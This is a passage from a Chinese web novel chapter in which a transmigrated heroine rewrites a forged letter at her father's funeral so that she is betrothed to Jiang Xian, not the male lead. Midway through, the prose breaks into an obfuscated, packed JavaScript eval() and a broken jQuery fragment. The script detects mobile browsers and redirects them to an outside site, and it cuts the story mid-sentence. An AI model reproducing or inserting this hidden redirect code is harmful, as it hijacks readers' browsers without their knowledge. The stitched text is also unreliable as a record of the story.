卢汀雨点点头,目光从祁允和祁诛那儿挪开视线,很快,就定格在了江闲的脸上。
江闲的墨发只用了一根素簪,腰间也摘了丁零当啷的配饰,只是此刻他眼半垂着,倒是窥不出什么情绪。
他在祁允和祁诛的身边故意落后几步,见那小厮要从紫檀木盒中取古籍,就轻声提点了句,“烧那本《策论》和《竹林思语》就好。”
《策论》和《竹林思语》是卢若庭生前最爱的残本,本满心满载的想补齐整套,只是这个愿望最终也没能实现。
而卢汀雨通晓剧情,自然深知这一点。
江闲话落,待祁允二人行过大礼,他这才迈步走上前去,对着挽联那八字之书的方向行了跪礼。
男子神情严肃恭谨,只是面上并不见一滴泪,也不似祁允二人如出一辙地哀痛之态。
卢汀雨虽从头至尾细观对方的一言一行,但脑子里也悟不出半分的体会,她虽身为穿书局学霸,可因系统本身就带有先天缺陷。
她很难勘破人类隐在表象之下的情感。
卢汀雨实在看了江闲太久,久到连行完礼的祁允和祁诛一直在盯她,她都没有发现。
祁允、祁诛这一对主仆,不愧是这本小说的男主角和深情男二,祁允为了原文女主能永久性的陪在自己身边,将杀父之仇瞒的密不透风。
而祁诛也因深爱原文女主而选择成全,甘愿听后差遣,并一直默默守护着她。
因原文女主与祁允有着命定之情,自然就和江闲这关门弟子接触较少。
祁允不知卢汀雨为何一直看着江闲,他思忖片刻,迈步往心爱之人的方向走去,期间有几片火堆处刮来的书页残角,冒着火星的纸灰随风而摆,不断飘到他的脚边。
祁允却佯作不知,一脚踏在纸灰之上,狠狠碾碎。
污物近身。
晦气!
祁允兀自想着,嘴角却微妙地抬了一抬。
待走至卢汀雨面前时,他特意转过身来,状似无意地挡住了女子视线,“汀雨,勿要难过,大先生在天之灵,也不会愿见你如此的……”
“今日我祁允在大先生的灵前发誓,今生今世,定会护你周全,若有违此誓,便叫我五马分尸,魂魄不存。”
祁允一番话说的真诚,但卢汀雨想的却是另外一件事。
可惜这只是一本狗血的复仇小说,男主角的誓言也毫无用处,否则,她倒是愿意信上一信,也好叫那条不中用的咸鱼能顺利苟到大结局。
卢汀雨闻言没有应声,表情上也没做出半分回应。
因为她的系统思维检测到了这是一句屁话,屁话为什么要给出反应?
祁允感受到卢汀雨今日的反常,但也并没有深想太多,毕竟卢若庭那个老匹夫今日便要下葬了,卢汀雨伤心是在所难免的。
而且,祁允之所以要让卢若庭死的那般难堪,也不全然是因为老匹夫发现了他的身份。
卢汀雨实在是对卢若庭太好太好了。
哪怕对方是她的阿父,也叫他嫉妒的无法入睡。
这边江闲行完了跪礼,四人就一起去了书房见卢若海。
小说剧情里是有这一节的,随着卢若庭的死,卢家外邦的身份也一同被揭开了。
而祁国连年与外邦征战,百姓们早就恨死了外邦人。
如今外面谩骂四起,口口声声都在传——
卢若庭隐瞒外邦身份,又秘密混入祁国境内做起了大先生教书授学,其目的很难不让人多想。
且大先生表面堂堂正正,私下里竟混迹妓馆,还被发现是那样的死法,简直就是污了他们瑞州这片圣地!
卢若庭一朝殒命,举家皆受牵连。
而就在卢若庭察觉到命运受到威胁的前三日,他突然将亲弟卢若海叫到书房,并声称近日会留下书信以备不时之需。
所以卢若海就是为了要找三名学子商议此事,才将人齐集书室。
如今卢氏一族在瑞州或者说是祁国境内都无法长留下去,卢若海本意是想带着侄女返回外邦,但他也猜到卢若庭想要交代的是什么,这才决定先做完此事,再行离去。
进门之后,江闲是唯一一个站在门旁不肯多走半步的另类。
卢汀雨发现此人身体半斜,一只脚也略向外偏。
根据过往所看过的心理学猜想,加之其敷衍的态度又极为明显,想来这人是不得不跟来这里,只待卢若海把话说完,就第一个开溜离府。
卢汀雨用一副“恨铁不成钢”的表情注视着他,继而又被卢若海唤回了神:“汀雨啊,把阿兄留下的书信念一念吧。”
卢氏被百姓驱逐,祁允自然喜闻乐见,因为这样,他就能名正言顺地带走卢汀雨了。
毕竟当初卢若庭就是看不下去君主暴虐,才举家出逃。
现在卢若海想要回乡避难,过程又何其艰难?
卢汀雨得到推动剧情的NPC二叔一句指令,便忙不迭地打开了书信,正声念道:“今有预感,吾恐将不久于人世。吾平生至信之人无非家弟与学生。”
“云州江闲,吾甚喜之,遂将爱女托付于汝,吾虽无法亲见汝与爱女喜结连理,但亦泉下有知,故欣慰也!”
原文女主容貌倾国倾城,声润且柔。
但这一封书信却被卢汀雨念得气势磅礴。
卢汀雨字正腔圆的声调,字字珠玑般的砸在了每个人的耳骨之上,直把在场众人都砸了一个懵逼!
首先懵逼一号,就是满眼不可置信地祁允。
因为祁允、祁诛和原文女主皆知,这封劳什子的书信本来就是不存在的,而是原文女主为了跟祁允在一起特地编出来骗卢若海的。
所以信上所写之人的名字根本就不是江闲,而是祁允。
卢若庭确实在窥破祁允的身份之后,找卢若海进书房说过那样云里雾里的一番话。
那是因为大先生当时心中恐惧,原本是想把祁允之事告知亲弟的,可又怕祁允会连同卢氏全族都杀了灭口,这才临时改换说辞,说会留下书信详细告知。
之后,卢若庭就一直在谋划逃离之事。
只不过计划尚未开始,就被精明能干的祁诛察觉然后杀掉了。
而这一年,书中剧情所写,原文女主先是伪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716613|173740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
造了书信,后顺利同祁允离开,接着就到了禹州安身立命。
祁允的复仇计划整整筹备了一年之久,之后带着原文女主杀回皇城,并亲手将祁皇溺毙于荷花池中。
解决了祁皇,接下来就是朝中大臣。
最后,就轮到了一心要为师父报仇的云州江郎。
江闲过往与卢若庭交往甚密,旁人都称其“大先生”,唯有他待卢若庭如师如父,所以也总喜欢唤他老人家为“师父”。
这些剧情曾在卢汀雨的脑子里回溯过无数遍,而如今算算,距离咸鱼毙命也就只剩下一年的时间了。
卢汀雨篡改了书信,将祁允堂而皇之地换成了江闲。
而祁允这边尚未回过神来,紧接着懵逼二号的卢若海就一把抢过书信,一个字一个字审阅般的读了起来,他边读还边感叹:“怎会?怎会啊!”
卢若海最是瞧不上吊儿郎当地江闲。
他深知三人在家中读书期间,侄女与祁允两情相悦,且祁允也是三人里最用功之人,将来必成大器。
但如今一封遗书却将二人拆散,卢若海这会儿倒是真替侄女惋惜起来。
而在场众人,最最懵逼的就要数江闲本人了。
这会儿,他的靴子也不往外偏了,身子也不往外斜了,江闲疑惑地凑到卢若海身边,低着头盯纸上的字,盯完,还遭了卢若海的一通白眼。
江闲:“……”
祁诛虽心悦卢家大小姐,但见这人马上就要成了江闲的妻,便也急切地替主开口道:“让汀雨同江闲喜结连理?这不合适吧!”
江闲也忙附和一声:“是啊,这不合适吧!”
只不过他才说完,就又遭了卢若海一记白眼:“你给我闭嘴!”
“好的。”
江闲听话的闭上了嘴,跟着,目光就不断地往卢汀雨的身上瞟。
卢若海虽不喜阿兄的决断,但他向来就知卢若庭颇有远见,而他本人却与阿兄半分不像,木讷愚钝。
所以即便再是不愿,也会尊崇阿兄的遗愿。
可祁允的脸色却有些绷不太住。
他想把书信是伪造的这一点挑明开来,但就算如此,除却多生事端,卢汀雨也未必会答应跟他同去禹州。
一时间众人面面相觑,最终,都把目光放在了当事人卢汀雨的身上。
卢汀雨从卢若海手中拿回书信,几步走到江闲面前,江公子温润如玉般的气质的确生的人模狗样,他一双桃花眼望来,只是打蔫的眼尾,这会儿正如同被晒垮的芭蕉叶似的毫无神采。
卢汀雨与这人认识了三世之久,却还是第一次跟他近距离相处。
这种感觉有些微妙。
就好像人类创造出来的那个说法——面基?
离得近了,江闲身上的味道她便闻的一清二楚,是纸张烧融的气味,想必是方才跪的太久沾染上的。
卢汀雨看着他,他也看着卢汀雨。
江闲正奇怪这女子今日看向自己的眼中为何流露杀意时,卢汀雨就又用那一板一眼的腔调开了口:“阿父之意不可违逆,所以江公子,你可愿与我成婚?”